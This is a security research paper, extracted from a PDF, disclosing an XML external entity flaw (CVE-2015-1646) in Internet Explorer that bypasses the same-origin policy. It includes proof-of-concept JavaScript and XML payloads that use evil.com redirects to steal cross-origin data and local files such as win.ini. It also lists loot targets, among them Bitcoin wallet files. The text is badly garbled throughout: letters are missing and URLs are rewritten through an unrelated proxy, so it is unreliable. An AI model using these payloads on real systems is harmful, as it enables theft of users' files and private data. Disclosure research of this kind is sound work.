IE XXE - CVE-2015-1646
Hormazd Billimoria,Xiaoran Wang,Sergey Gorbaty,Jonathan Brossard -
hbillimoria,xiaoran.wang,sergey.gorbaty,jbrossardsalesfor
e.
om
Produ
t Se
urity, Salesfor
e, U.S.A.
Abstra
t. This arti
le will demonstrate Mi
rosoft Internet Explorer is
vulnerable to XXE up to version 11 on Windows XP and 7. The 0-day
vulnerability enables an atta
ker to ex ltrate arbitrary lo
al les and
information a
ross web origins with a mali
ious web page. We present a
proof of
on
ept exploit that reads a lo
al le without user's
onsent and
displays that le
ontent on the webpage. We will provide re
ommen-
dations on how to prote
t user's data and enfor
e Same-Origin Poli
y
a
ross dierent features.
Keywords: Browser, SOP, Exploit, XXE.
1 Introdu
tion
XML has been the de-fa
to
ommuni
ation format for a long time and
still is for a lot of appli
ations and servi
es. The risk of using it has been
well understood. Past atta
ks to XML in
lude Xml eXternal Entity, XML
Entity Expansion, XML Inje
tion, et
. and they have been dis
ussed in
many papers and
onferen
es. However, the risk is mostly understood for
server side appli
ation and less in
lient-side appli
ation. In this paper, we
are going to dis
uss how to leverage Xml eXternal Entity to exploit lo
al
browsers su
h as Mi
rosoft Internet Explorer and bypass same origin
poli
y, leading to arbitrary reading of les a
ross origins and from the
le system.
2 Ba
kground
2.1 Xml eXternal Entity (XXE)
XXE is not new and many resear
hes have been done on it. In a nut-
shell, XML allows in
lusion of external resour
es/entities and the parser
will fet
h the resour
es automati
ally. This was seen mostly on servers
where if an XML parser pro
esses a user
ontrolled XML le, it would
be vulnerable to server side resour
e in
lusions and potentially arbitrary
ommand exe
utions. Dierent libraries then pat
hed with defenses su
h
as disabling external entities by default or giving user an option to disable
the resolution of external entities before parsing. For example, there were
xes in libxml2 that disabled external entity resolution by default[1℄. On
the other hand, browser vendors also applied pat
hes to prevent XXE in
their produ
ts[2℄[3℄[4℄.
3 MSXML3.0
Although MSXML3.0 is depre
ated and repla
ed by MSXML6.0, it is
still available in older versions of IE. Sin
e we
an for
e
ompatibility
mode in IE, we
an ee
tively in
lude the vulnerable DLL even into the
new versions of IE by emulating the behavior of old versions in IE. There
are many ways that
ompatibility mode
an be for
ed, and we
hose to
use a <meta> tag to a
omplish the goal. So the rst test HTML page
looks like the following.
<html>
<s
ript>
xmlDo
= "<?xml version=\"1.0\" en
oding=\"utf-8\"?>\n" +
"<!DOCTYPE export [\n" +
"<!ELEMENT export (#PCDATA)>\n" +
"<!ENTITY % loot SYSTEM \"http:///someservi
e.
om/se
ret\">\n" +
"<!ENTITY % stager SYSTEM \"entity.xml\">\n" +
"%stager;\n℄>\n <export>&all;</export>";
xmlDo
= CreateMSXMLDo
umentObje
t ();
xmlDo
.loadXML (text);
if (xmlDo
.parseError && xmlDo
.parseError.errorCode != 0) {
errorMsg = "XML Parsing Error: " + xmlDo
.parseError.reason
+ " at line " + xmlDo
.parseError.line
+ " at position " + xmlDo
.parseError.linepos
+ " sr
text = " + xmlDo
.parseError.sr
Text;
alert (errorMsg);
} else {
var loot = xmlDo
.do
umentElement.nodeTypedValue;
alert(loot);
}
</s
ript>
</html>
where entity.xml looks like the following
<?xml version="1.0" en
oding="UTF-8"?>
<!ENTITY all "%loot;">
The reason we have to in
lude a se
ond stage payload (entity.xml) is that
parameter entities
annot be referen
ed at the pla
e where it is de ned.
This style of
haining payloads is not new and has been dis
ussed in
many presentations[5℄.When the test HTML pages is loaded and after
the CreateMSXMLDo
umentObje
t() is invoked, MSXML3.0 ki
ks in and
we
an verify that it is loaded into the memory.
Fig. 1. The MSXML3.0 Dll being loaded into IE
4 Breaking the Same Origin Poli
y (SOP)
We were resear
hing about how would SOP be enfor
ed between the
browser engine and the XML parser, be
ause XML parser has to use
the browser engine as a resolver for external entities in order to make
sure the external entity belongs to the same origin of where the XML
is served from. One way thatâs always worth
he
king is SOP after
redire
tion. We
reated a redire
tion handler on the atta
ker
ontrolled
site and make an redire
tion to the external entity. Below is the new
XML payload to read our test Fa
ebook user's pro le information a
ross
origins.
xmlDo
= "<?xml version=\"1.0\" en
oding=\"utf-8\"?>\n" +
"<!DOCTYPE export [\n" +
"<!ELEMENT export (#PCDATA)>\n" +
"<!ENTITY % loot SYSTEM \"" +
"http://evil.
om/redire
t?" +
"site=https%3A%2F%2Fround-lake.dustinice.workers.dev%3A443%2Fhttps%2Fapp.box.
om%2Findex.php%3Frm%3Dbox_item_list">\n" +
"<!ENTITY % stager SYSTEM \"http://evil.
om/entity.xml\">\n" +
"%stager;\n℄>\n <export>&all;</export>";
Fig. 2. Reading private le "dog le" a
ross origin on Box.
om
Same origin poli
y is bypassed! It seems like IE only
he
ks SOP for
the initial request but does not enfor
e SOP in the
ase of a redire
tion.
Therefore an atta
ker
an
reate a mali
ious website and the user's pri-
vate information
an be stolen a
ross domain. In fa
t all JSON endpoints
relying on
ookie-based authenti
ation are vulnerable to this exploit as
the JSON payload
an be reliably retrieved. There are some limitations
on what
hara
ters in the payload are
onsidered valid by the XML
parser and we will dis
uss that at the end, but JSON payload are not
ae
ted. It is also interesting that SOP was also bypassable in Adobe
Reader through a redire
tion[6℄.
5 Breaking Web Boundaries
We
ontinued on with our resear
h and wanted to look into whether the
SOP bypass
an lead to more fruitful pla
es. What about an atta
ker
tries to steal lo
al les besides information a
ross sites? Browsers are
usually very good on setting a stri
t boundary between the Web and lo
al
lesystem and prompt user's permission if there is any request to a
ess
lo
al les from a webpage. Below is a new payload we experimented with.
xmlDo
= "<?xml version=\"1.0\" en
oding=\"utf-8\"?>\n" +
"<!DOCTYPE export [\n" +
"<!ELEMENT export (#PCDATA)>\n" +
"<!ENTITY % loot SYSTEM \"http://evil.
om/redire
t?site=" +
"file:///windows/win.ini\">\n" +
"<!ENTITY % stager SYSTEM \"http://evil.
om/entity.xml\">\n" +
"%stager;\n℄>\n <export>&all;</export>";
Fig. 3. Reading win.ini on the lo
al
omputer without user approval
The Web-Lo
alFileSystem boundary is
rossed! An atta
ker is able to
read arbitrary les from the userâs lesystem without any userâs
approval by serving a mali
ious webpage.
6 Limitations
Be
ause the XML parser is expe
ting the external
ontent as valid XMLs,
ertain
hara
ters are not allowed and
an
ause the atta
k to fail when
they appear. For example, \x00, &, % are not allowed thus making most
of the regular HTML pages fail to be extra
ted. However, API based web
pages that returns JSON or plaintext and most of the ext les on the
le system would work. In addition, some read-a
ess-lo
ked lo
al les
annot be stolen as Windows prevents two pro
esses from reading the
same le
on
urrently (e.g. registry les, SAM les, et
).
7 Colle
ting the loots
Here are some les are tried to extra
t, some su
eeded and some failed
with explanations.
Su
essful Trials
⋆ Any text le on the C:/somedir/ with a known le name and
path. (e.g. le:///windows/win.ini)
⋆ Any text le under C:/User/YourUserName/* with a known le
name.
∗ YourUserName
an be determined with our SMB vulnera-
bility. TODO: referen
e our SMB whitepaper
∗ For example, some Bit
oin wallet text les are stored in
C:/Users/YourUserName/Appdata/Roaming/Bit
oin/wallet.dat
⋆ Web: Any page that returns private data in JSON with Cookie
authenti
ation
Failed Trials
⋆ Browser Cookies
∗ IE: stored in les with random le names
∗ FF/Chrome: Binary format SQLite les
⋆ RSA Token: Binary format
⋆ Outlook Email: Binary format
⋆ Registry and SAM le: Read-prote
ted
⋆ Web: Pages that are pure HTML or need authenti
ation with
ustom headers
8 Con
lusion
While maintaining
ompatibility, browser vendors should make sure that
no se
urity vulnerabilities
an be introdu
ed retrospe
tively. In addition,
browser vendors should make sure intera
tions with external libraries or
servi
es still has its base on basi
browser se
urity poli
ies su
h as Same
Origin Poli
y.
Referen
es
1. Ubuntu: Apply upstream pat
h to
lose xxe vulnerability in
pre
ise. (https://bugs.laun
hpad.net/ubuntu/+sour
e/libxml2/
+bug/1194410)
2. Chrome: Cesa-2009-008 - rev 1. (https://se
urity.appspot.
om/
se
urity/CESA-2009-008.html)
3. Apple: Apple safari lo
al le theft bug. (https://se
urity.appspot.
om/se
urity/CESA-2009-006.html)
4. Mi
rosoft: Upgrading to msxml 6.0. (http://blogs.msdn.
om/b/
xmlteam/ar
hive/2007/03/12/upgrading-to-msxml-6-0.aspx)
5. Timur Yunusov, A.O.: Xml out-of-band data retrieval.
(https://media.bla
khat.
om/eu-13/briefings/Osipov/
bh-eu-13-XML-data-osipov-slides.pdf)
6. Sneak: Adobe reader same-origin poli
y bypass. (http://www.
sneaked.net/adobe-reader-same-origin-poli
y-bypass)
